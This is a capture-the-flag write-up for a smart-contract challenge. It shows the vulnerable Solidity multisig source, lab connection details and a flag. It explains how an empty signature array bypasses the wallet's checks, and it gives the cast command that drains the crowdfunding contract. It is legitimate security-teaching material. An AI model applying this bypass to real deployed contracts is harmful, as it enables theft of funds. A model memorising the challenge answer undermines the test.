Funds Secured
5 minutes to read
We are given a Solidity file called Campaign.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
import {ECDSA} from "./lib/ECDSA.sol";
/// @notice MultiSignature wallet used to end the Crowdfunding and transfer the funds to a desired address
contract CouncilWallet {
using ECDSA for bytes32;
address[] public councilMembers;
/// @notice Register the 11 council members in the wallet
constructor(address[] memory members) {
require(members.length == 11);
councilMembers = members;
}
/// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
address[] memory voters = new address[](6);
bytes32 data = keccak256(abi.encode(to));
for (uint256 i = 0; i < signatures.length; i++) {
// Get signer address
address signer = data.toEthSignedMessageHash().recover(signatures[i]);
// Ensure that signer is part of Council and has not already signed
require(signer != address(0), "Invalid signature");
require(_contains(councilMembers, signer), "Not council member");
require(!_contains(voters, signer), "Duplicate signature");
// Keep track of addresses that have already signed
voters[i] = signer;
// 6 signatures are enough to proceed with `closeCampaign` execution
if (i > 5) {
break;
}
}
Crowdfunding(crowdfundingContract).closeCampaign(to);
}
/// @notice Returns `true` if the `_address` exists in the address array `_array`, `false` otherwise
function _contains(address[] memory _array, address _address) private pure returns (bool) {
for (uint256 i = 0; i < _array.length; i++) {
if (_array[i] == _address) {
return true;
}
}
return false;
}
}
contract Crowdfunding {
address owner;
uint256 public constant TARGET_FUNDS = 1000 ether;
constructor(address _multisigWallet) {
owner = _multisigWallet;
}
receive() external payable {}
function donate() external payable {}
/// @notice Delete contract and transfer funds to specified address. Can only be called by owner
function closeCampaign(address to) public {
require(msg.sender == owner, "Only owner");
selfdestruct(payable(to));
}
}
And there is another file called Setup.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
import {Crowdfunding} from "./Campaign.sol";
import {CouncilWallet} from "./Campaign.sol";
contract Setup {
Crowdfunding public immutable TARGET;
CouncilWallet public immutable WALLET;
constructor() payable {
// Generate the councilMember array
// which contains the addresses of the council members that control the multi sig wallet.
address[] memory councilMembers = new address[](11);
for (uint256 i = 0; i < 11; i++) {
councilMembers[i] = address(uint160(i));
}
WALLET = new CouncilWallet(councilMembers);
TARGET = new Crowdfunding(address(WALLET));
// Transfer enough funds to reach the campaing's goal.
(bool success,) = address(TARGET).call{value: 1100 ether}("");
require(success, "Transfer failed");
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
There is also a remote instance where we will get connection parameters to the Blockchain:
$ nc 209.97.140.29 32344
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0x0e23d5955ce902970af5ccd504471b4da82ef2100123a69fc319b6eebd193524
Address : 0x50a1a8aeF21c9dF95eACd23912061896A01e7d1f
Crowdfunding contract : 0x82B342C0a3A9DB0c879d05f358E3338947004762
Wallet contract : 0x5784c71A1C7EF55cdcbd80e9Fc7872cbF1AF1f92
Setup contract : 0x401bCe2E49aAf6dE14a6faC4A3cEBeB6D690b2A8
Setup environment
First of all, let’s save the connection parameters as shell variables:
$ PRIVATE_KEY='0x0e23d5955ce902970af5ccd504471b4da82ef2100123a69fc319b6eebd193524'
$ ADDRESS='0x50a1a8aeF21c9dF95eACd23912061896A01e7d1f'
$ ADDRESS_CROWDFUNDING='0x82B342C0a3A9DB0c879d05f358E3338947004762'
$ ADDRESS_WALLET='0x5784c71A1C7EF55cdcbd80e9Fc7872cbF1AF1f92'
$ export ETH_RPC_URL='http://209.97.140.29:30364'
The purpose of the challenge is to interact with the deployed Smart Contracts (Crowdfunding
and CouncilWallet
) in order to make isSolved
return true
(in the Setup
Smart Contract). For that, we can use cast
from foundry
.
Source code analysis
In the Setup.sol
file, we see that isSolved
will return true
when address(TARGET).balance == 0
. The TARGET
address is an instance of Crowdfunding
with an given instance of CouncilWallet
. Initially, the TARGET
Smart Contract holds 1100 ether
.
After that, we can only interact with the CouncilWallet
Smart Contract, because all the other methods are either blocked or private. Specifically, we can interact with closeCampaign
:
/// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
address[] memory voters = new address[](6);
bytes32 data = keccak256(abi.encode(to));
for (uint256 i = 0; i < signatures.length; i++) {
// Get signer address
address signer = data.toEthSignedMessageHash().recover(signatures[i]);
// Ensure that signer is part of Council and has not already signed
require(signer != address(0), "Invalid signature");
require(_contains(councilMembers, signer), "Not council member");
require(!_contains(voters, signer), "Duplicate signature");
// Keep track of addresses that have already signed
voters[i] = signer;
// 6 signatures are enough to proceed with `closeCampaign` execution
if (i > 5) {
break;
}
}
Crowdfunding(crowdfundingContract).closeCampaign(to);
}
This function requires a list of signatures, an address to close a campaign and the Crowdfunding
address to be closed. We are not able to generate valid signatures because we are missing private keys, so they will fail on verification.
The security flaw
However, notice that the function does not check the number of signatures, so we can send an empty list, and we will skip the whole for
-loop. As a result, we will be able to execute Crowdfunding(crowdfundingContract).closeCampaign(to)
without any cryptographic limitation.
Once this function is called, using the CouncilWallet
address in the to
parameter, the balance of TARGET
(the instance of Crowdfunding
) will be 0
because of selfdestruct
:
/// @notice Delete contract and transfer funds to specified address. Can only be called by owner
function closeCampaign(address to) public {
require(msg.sender == owner, "Only owner");
selfdestruct(payable(to));
}
Implementation
Hence, we only need to call the above method with an empty list and the rest of required parameters:
$ cast send $ADDRESS_WALLET 'closeCampaign(bytes[] memory, address, address)' '[]' $ADDRESS_WALLET $ADDRESS_CROWDFUNDING --private-key $PRIVATE_KEY
blockHash 0x1138f26d62991c61d105bea228c30f7d218bfdbce2f0d5d2d5ea968be938528a
blockNumber 2
contractAddress
cumulativeGasUsed 33404
effectiveGasPrice 3000000000
gasUsed 33404
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x1715897916c321c452c5c69cfbb1a308a0dd9d3fd27aaca8c44eaa247be1e7e7
transactionIndex 0
type 2
Flag
And now the challenge is solved:
$ nc 209.97.140.29 32344
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{wh0_c0u1d_7h1nk_7h47_y0u_c4n_53nd_4n_3mp7y_1157}